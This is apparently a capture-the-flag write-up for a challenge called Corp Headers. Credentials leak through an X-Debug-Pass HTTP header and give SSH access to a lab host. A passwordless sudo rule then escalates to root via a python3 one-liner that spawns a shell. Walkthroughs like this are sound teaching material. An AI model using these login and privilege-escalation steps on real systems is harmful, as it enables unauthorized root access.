Home›CTF & Writeups›Corp Headers

Corp Headers

✓ SOLVED

RatCTF — HTTP Headers → SSH Access → Privilege Escalation (Python3)

1

Overview

Corp Headers hid useful information in HTTP response headers. Burp Repeater exposed valid SSH credentials, and a passwordless Python3 sudo rule provided the path to root.

User Flag✓
Root Flag✓
StatusSolved
2

Enumeration — Debug Header

The challenge exposed HTTP on port 30731 and SSH on 30730. The hint pointed toward the custom X-Debug-Pass header.

Target
Target: 173.230.128.202
SSH:    30730
HTTP:   30731
Burp Repeater request
X-Debug-Pass:
Key findingThe response exposed the SSH username and password through debug headers.
3

Foothold — SSH Access

The exposed credentials authenticated successfully to the external SSH service.

SSH
ssh -p 30730 user@173.230.128.202
USER FLAGflag{[REDACTED]}
4

Privilege Escalation — Python3

sudo -l showed that the user could execute /usr/bin/python3 as root without a password.

Sudo rule
(root) NOPASSWD: /usr/bin/python3
Root shell
sudo /usr/bin/python3 -c 'import os; os.execl("/bin/sh", "sh")'
Root obtainedPasswordless Python3 sudo execution provided the privilege-escalation path.
5

Flags

Both flags were captured successfully. The actual flag strings are intentionally redacted from the public writeup.

HTTP headers→Debug credentials→ SSH foothold→sudo Python3→Root